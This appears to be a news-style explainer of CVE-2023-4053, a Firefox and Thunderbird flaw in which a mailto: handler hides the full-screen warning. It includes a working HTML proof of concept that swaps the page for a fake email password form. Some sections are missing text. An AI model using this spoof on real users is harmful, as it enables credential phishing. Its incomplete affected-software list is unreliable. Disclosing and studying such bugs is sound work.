CVE CyberSecurity Database News

CVE-2023-4053 - Exploiting Browser Full-Screen Notifications via External URL Schemes

Poster -

Web browsers are continuously evolving, adding new security features to keep users safe from phishing and spoofing attacks. One of these protections is the full-screen notification: browsers visually warn users when a website takes over the entire screen. But what if this crucial security notice could be hidden right when it matters most? That’s precisely what CVE-2023-4053 is about—a subtle but worrying bug that made it possible for malicious sites to cover or remove the full-screen warning in Firefox, Thunderbird, and associated products.

This post will explain, in plain language, what CVE-2023-4053 entails, how it could be exploited, what browsers are affected, and how to stay safe.

What Is CVE-2023-4053?

_CVE-2023-4053_ is a vulnerability found in Mozilla Firefox (before version 116), Firefox ESR (before 115.2), and Thunderbird (before 115.2).

In short

- Webpages could use tricky URLs (like mailto:) which are handled by external programs outside the browser.
- When such a URL is opened while a page is in full-screen mode, the browser’s full-screen notification can be obscured or removed.
- This makes it possible for attackers to create fake full-screen interfaces, tricking you into thinking you are looking at a trusted source.

References:
- Mozilla Security Advisory 2023-32
- Bugzilla entry for CVE-2023-4053
- NVD CVE Entry

How Does the Exploit Work?

Normally, when a website tries to go into full-screen mode—hiding your tabs, the address bar, and browser controls—the browser shows a clear warning (“This page is now full-screen,” often with a button to exit). This helps users spot phishing attempts.

The Bug:

If the page creates a link or JavaScript action with a special URL scheme like mailto:, tel:, or other, and triggers it, the browser hands that request off to another program. But during this process, the full-screen notification can get hidden or lost.

When you return to the browser, there is no longer any sign you are in full-screen mode

Now, the attacker can mimic trusted sites or dialogs, possibly asking for private information or passwords under the guise of being something else.

Here’s a basic proof of concept (do not use this for malicious purposes)

<!DOCTYPE html>
<html>
<head>
  <title>CVE-2023-4053 Demo</title>
</head>
<body>
  <button id="fs-btn">Go Full Screen</button>
  <button id="spoof-btn" style="display:none;">Open Email (Spoof)</button>
  <script>
    document.getElementById("fs-btn").onclick = function() {
      document.body.requestFullscreen();
      // Show the spoof button only after full-screen
      document.getElementById("spoof-btn").style.display = "inline";
    };
    document.getElementById("spoof-btn").onclick = function() {
      // Trigger an external handler
      window.location.href = "mailto:attacker@example.com";
      // Now, the full-screen warning is gone or obscured!
      // The attacker can continue to display fake UI.
      setTimeout(function() {
        document.body.innerHTML = "<h2>Sign in to your email account</h2><input type='text' placeholder='Email'><input type='password' placeholder='Password'>";
      }, 100);
    }
  </script>
</body>
</html>

What happens here?

Why Does This Matter?

Browsers depend on clear visual cues to keep you secure. Hiding the full-screen message leaves room for social engineering, where fake screens or pop-ups can ask for sensitive data, like logins, bank details, or even attempt to install malicious software.

Who Is Vulnerable?

Affected Software:

Thunderbird email client before 115.2

Not Affected:

Thunderbird 115.2 and later

(Make sure you’re updated! Check in Help > About if unsure.)

Update your browser and mail client:

Make sure you’re running the latest version. Download Firefox

Stay alert for full-screen activity:

If your browser enters full-screen unexpectedly, especially on unfamiliar sites, press Esc or F11 to exit.

Conclusion

While CVE-2023-4053 is a subtle bug, it’s a reminder that even little cracks in the user experience can be an open door for scammers. Browser makers like Mozilla have already patched this issue, but always stay vigilant for evolving tricks.

References

- Mozilla Security Advisory 2023-32
- Bugzilla: Bug 1834004
- NVD entry for CVE-2023-4053

Timeline

Published on: 08/01/2023 15:15:00 UTC
Last modified on: 09/11/2023 09:15:00 UTC